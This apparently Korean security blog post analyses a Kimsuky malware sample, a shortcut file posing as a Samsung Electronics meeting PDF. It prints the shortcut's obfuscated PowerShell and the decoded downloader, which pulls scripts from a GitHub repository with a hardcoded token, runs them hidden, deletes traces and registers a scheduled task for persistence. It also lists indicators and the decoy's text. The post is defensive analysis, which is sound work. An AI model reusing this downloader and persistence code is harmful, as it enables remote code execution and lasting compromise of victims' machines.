오늘도 경애하고 존경하는 박신 주의 정신을 가지고 북한 해킹 그룹 김수키(Kimsuky)에서 만든 악성코드인 삼성전자 미팅 관련 악성코드를 분석을 해보겠습니다.
해시
파일명:삼성전자 미팅 관련.pdf.lnk
사이즈:7,718 Bytes
MD5:f2d65a516a9f68487f1fb417f0f20314
SHA-1:e0d6de68f6bad27f668a6da26a6a8cb0899375a0
SHA-256:21a20215102f44ee2f47c21791ec5e6db40cf18484dab1f24890bb99ab08f6e9

악성코드에 포함된 코드
StringData
{
namestring: Type: Hangul Document
Size: 2.84 KB
Date modified: 10/20/2023 11:23
relativepath: not present
workingdir: not present
commandlinearguments:
"$bvnsekijhbd = \"JG......\";$bewrsdf=\"ABCDEFGHIJKLMNOP
QRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";$bvnsekijhbd=$b
v(n)sekijhbd.TrimEnd('=');$btks=New-Object System.Colle()ctions.Generic.Li
st[Byte];for($i=0;$i -lt $bvnsekijhbd.Length;$i+=4){$yhsd=$(b)vnsekijhbd.Substring($i
,[Math]::Min(4,$bvnsekijhbd.Length-$i));$vds=0;$yhsdLen = $yhsd.Length;foreach($c in $
yhsd(.)ToCharArray()){$vds=($vds -shl 6) -bor $bewrsdf.IndexOf($c);};for ($j=16; $j -g
e 0;$j -= 8){if((($i*6)/8)+(3-$j/8) -lt (($bvnsekijhbd.Length*6)/8)){$btks.Add([byte](
($vds -shr $j) -band 0xFF));}}};$dcdsg1=[System.Text.Encoding]::UTF8(.)GetString($btks
.ToArray());$cty67sx1=[System.IO.Path]::GetTempPath();$esiu231=\"7hweuyd(.)ps1\";$dsvu
1=Join-Path $cty67sx1 $esiu231;$dcdsg1|Out-File -FilePath $dsvu(1);powershell -windows
tyle hidden -ExecutionPolicy Bypass $dsvu1"
iconlocation: %ProgramFiles%\\Google\\Chrome\\Application\\chrome(.)exe
악성코드 분석
기본 구조
1. 문자열 $bvnsekijhbd에 base64 비슷한 인코딩 데이터를 집어넣음
2. 디코딩된 내용을 UTF-8 문자열로 변환->임시 폴더에 7hweuyd.ps1 파일로 저장
3.powershell -windowstyle hidden -ExecutionPolicy Bypass로 숨김 실행
다운로더를 수행을 하는 악성코드
임시 경로에 PDF로 위장한 파일 생성
다운로드 대상
hxxp (+) s://githubusercontent(.)com/…/lead/ohun/main/temp(.)pdf

깃허브 raw CDN 활용
실제 저장 & 실행
다운로드한 파일을 chrome(.)ps1,temp(.)ps1,system_first(.)ps1 등으로 임시 폴더에 저장
실행 후 흔적 삭제
지속성 확보
MicrorfteguesoftUpdata1logiveKentwuerwtySchule:윈도우 작업 스케줄러를 등록해서 지속성 확보
Base64 디코딩

$hhh=Join-Path ([System.IO.Path]::GetTempPath()) "삼성전자 미팅 관련(.)pdf"
;$tkf="ghp_ie2K2MqoBfSH(S)H7Kc64SuiqcCeG3372UL3d3";$bstr="ht"(+)"t"(+)"ps"+":"(+
)"/"(+)"/r"+"a"+"w(.)git"(+)"hub"(+)"user"(+)"cont"(+)"ent"+".com/"+"entire"+"73
"(+)"/leed"(+)"ohun/m"?"ain/";$rstr=$bstr+"tmp(.)pdf";$hrs = @{Authorization="to
ken $tkf";srjidc="ds(g)hjkgekjhgegegegr";Accept="application/vnd(.)github(.)v3(.)
raw"};Invoke-WebRequest -Uri $rstr -Headers $hrs -OutFile $hhh;& $hhh;$ppp = Join
-Path ($env:A(pp)Data) "chrome.ps1"; $str = '$aaa = Join-Path ($env:AppData) "temp
.ps1"; $bsp="'+$bstr+'ofx.txt";$hsp=@{Authorization="token '+$tkf+'";frjc="hdjgER
Erit783tiu";Accept="applic(a)tion/vnd.github.v3.raw"};Invoke-WebRequest -Uri $bsp -
Headers $hsp -OutFile $aaa;& $aaa; Remove-Item -Path $aaa -Force;'; $str | Out-File
-FilePath $(p)pp -Encoding UTF8; $action = New-ScheduledTaskAction -Execute 'PowerS
hell.exe' -Argument '-WindowStyle Hidden -nop -NonInteractive -NoProfile -Executio
nPolicy Bypass -Command "& {$abc = Join-Path ($env:AppData) \"chrome(.)ps1\"; & $ab
c;}"'; $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -Repe
titionInterval (New-TimeSpan -Minutes 3(0)); $se(t)tings = New-ScheduledTa(s)kSetti
ngsSet -Hidden; Register-ScheduledTask -TaskName "MicrorfteguesoftUpdata1l(o)giveKe
ntwuerwtySchule" -Action $action -Trigger $trigger -Settings $settings;$aaa = Join-
Path ($env:AppData) "system_first(.)ps1";$rstr=$bstr(+)"onf(.)txt";Invoke-WebReques
t -Uri $rstr -Headers $hrs -OutFile $aaa;& $
aaa; Remove-Item -Path $aaa -Force;
악성코드 분석
임시 폴더/앱 데이터에 위장된 파일(삼성전자 미팅 관련.pdf)을 깃허브 raw 콘텐츠에서 다운로드
추가 PowerShell 스크립트를 앱데이터에 chrome(.)ps1,system_first(.)ps1 등으로 저장 및 실행하고
작업 스케줄러에 등록하여 정기적으로 페이로드를 실행
깃허브 접근을 위해 하드코딩된 토큰(ghp_ie(2)K2MqoBfSHSH7Kc(6)4S(u)iqcCeG3372UL3d3)을 사용
임시 폴더에 삼성전자 미팅 관련(.)pdf 경로 생성
깃허브 토큰(하드 코딩)
$bstr = "hxxps://raw(.)githubusercontent(.)com/entire73/leedohun/main/";
깃 허브 raw 콘텐츠 기본 URL을 문자열 + 로 우회
실제 다운로드 대상:tmp(.)pdf
커스텀 헤더와 함께 GitHub API raw 요청(Authorization 헤더 포함
파일을 다운로드하고(OutFile) & $hhh로 실행 시도
앱데이터에 chrome(.)ps1을 생성->내부 내용은 temp(.)ps1을 다시 깃 허브에서 받아 실행 후 삭제

스케줄러 등록:
동작: PowerShell(.)exe -WindowStyle Hidden -nop -No(n)Interactive -NoProfile -Executi(o)nPolicy Bypass -Command "& {$abc = Joi(n)-Path ($env:(A)ppData) \"chrome(.)ps1\"; & $abc;}"
트리거: 현재 시점에서 5분 뒤 시작하며 30분 간격으로 반복
작업 이름:MicrorfteguesoftUpdata1logiveKentwuerwtySchule
이후 system_first(.)s 1 도 같은 방식으로 깃 허브에서 다운로드,실행,삭제
chrome(.)ps1 내용
$aaa = Join-Path ($env:AppData) "temp.ps1"; $bsp="hxxps://raw(.)github
sercontent(.)com/entire73/leedohun/main/ofx(.)txt";$hsp=@{Authorization="token ghp_ie
2K2MqoB(f)SHSH7Kc64SuiqcCeG3372UL3d3";frjc="hdjgERE(r0it783tiu";Accept="application/vnd
(.)github(.)v3(.)raw"};Invoke-WebRequest -Uri $bsp -Headers $hsp -OutFile $aaa;& $aaa;
Re
move-Item -Path $aaa -Force;
악성코드 분석
1.원격 저장소 raw(.)githubusercontent(.)com)에서 추가 스크립트를 다운로드 즉시 실행하고 흔적을 지움 즉시 코드 실행
하드코딩된 GitHub 토큰(ghp_...)을 Authorization 헤더로 사용->비공개 리포지토리 접근 또는 읽기, 쓰기 권한 악용
IOC (즉시 사용하는 복사/붙여넣기용)
파일(로컬)
%APPDATA%\temp(.)ps1
Authorization: token ghp_
raw(.)githubusercontent(.)com/entire73/leedohun/main/
Remove-Item -Force 뒤에 있는 부분이 흔적 지우기
간단하게 요약
1.%APPDATA%\temp(.)ps1 경로를 준비
2.hxxps://raw(.)githubusercontent(.)com/entire73/leedohun/main/ofx(.)txt 를 깃허브 raw로 요청(Authorization 헤더에 하드코딩 토큰 포함)
3. 해당 부분을 받아서 %APPDATA%\temp(.)ps1로 저장
4.& $aaa로 실행
5. 실행 후 temp(.)ps1 삭제
그리고 PDF는 삼성전자 GPA(Global Public Affairs) 즉 삼성전자의 글로벌 대외협력 조직의 내용으로 위장하고 있으며
PDF 내용
안녕하십니까?
삼성전자 GPA(Global Public Affairs)실 ??? 입니다.
Global Public Affairs팀은 현재 각국가의 통상 정책, 지정학적 이슈를 센싱/분석하고
대응하는 업무를 하고 있습니다.
김?? 사장님과의 미팅 시 논의할 몇 가지 세션에 대해 알려드리겠습니다.
<끝>
세션1.미중관계가 앞으로 어떻게 변화될 것이라고 생각하십니까?
세션2.미국의 인도·태평양 전략은 어떤 방향으로 나아가야 한다고 보십니까?
세션3.한국에 대한 미국의 관세가 한미 안보 협력에 미칠 영향은 무엇인가요?
세션4.우리 기업의 방향은 어떻게 달라져야 한다고 생각하십니까?
세션5.우리에게 당부하고 싶은 것이 있으시면 말씀해주십시오.
감사합니다.
라고 돼 있음 삼성전자 GPA(Global Public Affairs)실 를 타켓으로 뿌린 것이 아닐까? 생각이 되면 삼성이라는 대외 협력 및 대관 업무,글로벌 현안 대응,국제 법인 지원 등에 이번에 관심이 있는 것 같기도 합니다. 아무튼, 조심을 하시는 것이 좋을 것 같습니다.
오늘도 김수키(Kimsuky)에서 만든 악성코드에 대해 분석을 해보았습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| 파이썬 개발자 가짜 PyPI 사이트 피싱 사기 주의 (0) | 2025.09.25 |
|---|---|
| 김수키(Kimsuky) 추정 국방대학교 안보정책학부 교수를 노린 주한 중화인민공화국 대사관 무관부 사칭 악성코드 (0) | 2025.09.24 |
| 김수키(Kimsuky)에서 만든 피싱 메일-2024년 귀속 종합소득세 가산세 안내(2025.9.16) (0) | 2025.09.19 |
| DDR5 메모리 Rowhammer 방어를 우회 하는 새로운 Phoenix 공격 (0) | 2025.09.18 |
| 북한 김수키(Kimsuky)에서 제작한 악성코드-ofx.txt(2025.6.11) (0) | 2025.09.16 |
| 윈도우 10 KB5065429,윈도우 11 KB5065426,KB5065431 정기 보안 업데이트 (0) | 2025.09.11 |
| 김수키(Kimsuky) 에서 제작한 악성코드-현대 데이터 복구 및 절차 수립 (0) | 2025.09.11 |
| Microsoft Edge 140이 출시 및 몇 가지 새로운 기능이 포함 (0) | 2025.09.11 |





